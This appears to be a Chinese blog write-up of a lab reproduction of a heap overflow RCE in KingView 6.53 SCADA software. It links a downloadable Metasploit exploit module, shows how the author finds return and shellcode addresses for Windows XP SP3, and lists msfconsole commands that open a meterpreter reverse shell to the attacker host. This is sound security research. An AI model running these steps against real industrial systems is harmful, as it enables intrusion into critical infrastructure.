再谈一款国内工业Scada软件的RCE漏洞 – 作者:fangyu0216

1、概述

全球工控信息安全市场规模稳步增长当前全球范围内工业信息安全整体形势不容乐观,全球暴露在互联网上的工业控制系统及设备数量不断增多,工控安全高危漏洞频现,加上对工业控制系统实施网络攻击的门槛进一步降低,重大工业信息安全事件仍处高发态势,甚至波及能源、制造、医疗、通信、交通、市政等重要领域的关键信息基础设施。

2、第三方工业SCADA软件介绍

组态王kingview,即组态王开发监控系统软件,是新型的工业自动控制系统,它以标准的工业计算机软、硬件平台构成的集成系统取代传统的封闭式系统。

组态王kingview是亚控科技根据当前的自动化技术的发展趋势,面向低端自动化市场及应用,以实现企业一体化为目标开发的一套产品。

该产品以搭建战略性工业应用服务平台为目标,集成了对亚控科技自主研发的工业实时数据库(KingHistorian)的支持,可以为企业提供一个对整个生产流程进行数据汇总、分析及管理的有效平台,使企业能够及时有效地获取信息,及时地做出反应,以获得最优化的结果。目前该软件广泛应用于电力、石油石化等多个自动化工业领域。

3、漏洞poc简析

该漏洞的poc我已上传到网盘了,参见4.1环境准备。

此漏洞存在于KingView6.53软件的HistorySvr.exe进程中,这个软件服务程序在TCP 777端口监听时收到一个超长请求,导致堆缓冲区溢出从而执行任何代码。

发现该poc主要是针对如下两个系统的,漏洞代码中没有针对Windows XP SP3 中文版系统的。

图片[1]-再谈一款国内工业Scada软件的RCE漏洞 – 作者:fangyu0216-安全小百科

为了进一步研究该漏洞在不同操作系统中的实现情况,本文基于Windows XP SP3 中文版系统进行进一步研究。

4、漏洞研究过程

4.1环境准备

靶机:winxp sp3(ip:192.168.10.50)

攻击机:kali linux  (ip:192.168.10.26)

工业软件及版本:kingview 6.53

漏洞poc:

链接:https://pan.baidu.com/s/1CuC3RJxcZ1mH-ZeIhLHwsA

提取码:8120

4.2 服务开启

在靶机中安装kingview 6.53工业软件,生成快捷方式如下图片[2]-再谈一款国内工业Scada软件的RCE漏洞 – 作者:fangyu0216-安全小百科,HistorySvr.exe进程自动运行,同时可以看到TCP 777端口已经开放

图片[3]-再谈一款国内工业Scada软件的RCE漏洞 – 作者:fangyu0216-安全小百科

4.3 测试版poc构造

1、通过网盘链接获取漏洞poc

在poc代码中增加新的目标,Ret值随便写一个和上面一样就行

图片[4]-再谈一款国内工业Scada软件的RCE漏洞 – 作者:fangyu0216-安全小百科

同时,仿照着增加如下代码,将shellcode的地址用“ABAC”替换,方便快速定位shellcode

图片[5]-再谈一款国内工业Scada软件的RCE漏洞 – 作者:fangyu0216-安全小百科

将修改后的POC保存为kingview6.53overflow_attack.rb

4.4 测试版poc导入

1、在kali攻击中,如下目录放入下载的exp模块

图片[6]-再谈一款国内工业Scada软件的RCE漏洞 – 作者:fangyu0216-安全小百科

2、进入msf,加载模块

图片[7]-再谈一款国内工业Scada软件的RCE漏洞 – 作者:fangyu0216-安全小百科图片[8]-再谈一款国内工业Scada软件的RCE漏洞 – 作者:fangyu0216-安全小百科

4.5 测试版poc攻击研究

1、攻击机运行“search kingview”命令搜索漏洞

图片[9]-再谈一款国内工业Scada软件的RCE漏洞 – 作者:fangyu0216-安全小百科

2、攻击机使用kingview6.53overflow_attack:

步骤:

use exploit/windows/scada/kingview6.53overflow_attack

set payload windows/meterpreter/reverse_tcp

set rhost 192.168.10.50

set lhost 192.168.10.26

set target 2

解释:

use exploit/windows/scada/kingview6.53overflow_attack:使用kingview6.53overflow_attack漏洞

set payload :设置payload,这里选择windows/meterpreter/reverse_tcp

set lhost :指定源IP地址(攻击机IP地址)

set rhost :指定目的IP地址(靶机IP地址)

set target 2:选择靶机操作系统

效果:

图片[10]-再谈一款国内工业Scada软件的RCE漏洞 – 作者:fangyu0216-安全小百科

3、靶机通过OllyDbg捕获进程异常,在OllyDbg中开启”Just-in-time debugging“

图片[11]-再谈一款国内工业Scada软件的RCE漏洞 – 作者:fangyu0216-安全小百科

图片[12]-再谈一款国内工业Scada软件的RCE漏洞 – 作者:fangyu0216-安全小百科

4、攻击机输入“exploit”

图片[13]-再谈一款国内工业Scada软件的RCE漏洞 – 作者:fangyu0216-安全小百科

5、回到靶机,OllyDbg捕获到进程异常:

进程中断在0x00384342处

图片[14]-再谈一款国内工业Scada软件的RCE漏洞 – 作者:fangyu0216-安全小百科

在内存中查找ASCII字符“ABAC”

图片[15]-再谈一款国内工业Scada软件的RCE漏洞 – 作者:fangyu0216-安全小百科

成功定位到“ABAC”地址为0x013404C0

图片[16]-再谈一款国内工业Scada软件的RCE漏洞 – 作者:fangyu0216-安全小百科

所以shellcode地址:1607064082_5fc9da12e0258c1faf585.png!small?1607064082869

Ret地址:1607064096_5fc9da206d9130715652b.png!small?1607064096425

4.6 正式版poc构造

将kingview6.53overflow_attack.rb中的相关地址用4.5中测试研究得到的地址进行替换,更新kingview6.53overflow_attack.rb

图片[19]-再谈一款国内工业Scada软件的RCE漏洞 – 作者:fangyu0216-安全小百科图片[20]-再谈一款国内工业Scada软件的RCE漏洞 – 作者:fangyu0216-安全小百科

4.7 正式版poc攻击

1、通过手动启动如下进程,恢复靶机环境,开启777端口

图片[21]-再谈一款国内工业Scada软件的RCE漏洞 – 作者:fangyu0216-安全小百科

2、参考4.4~4.6在msf中更新模块,配置相应的攻击参数,然后执行漏洞脚本,发现漏洞成功利用,meterpreter会话成功开启

图片[22]-再谈一款国内工业Scada软件的RCE漏洞 – 作者:fangyu0216-安全小百科

5、总结分析

本文是针对scada软件kingview的RCE漏洞进行进一步研究,通过研究,该漏洞可以成功在winxp sp3 中文版系统执行,漏洞执行成功后可远程执行未经授权的恶意代码。建议使用该软件的自动化企业及时打满补丁以绝后患。

参考资料

《Metasploit魔鬼训练营》

https://www.sohu.com/a/324816364_99922905

来源:freebuf.com 2020-12-04 14:47:47 by: fangyu0216

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论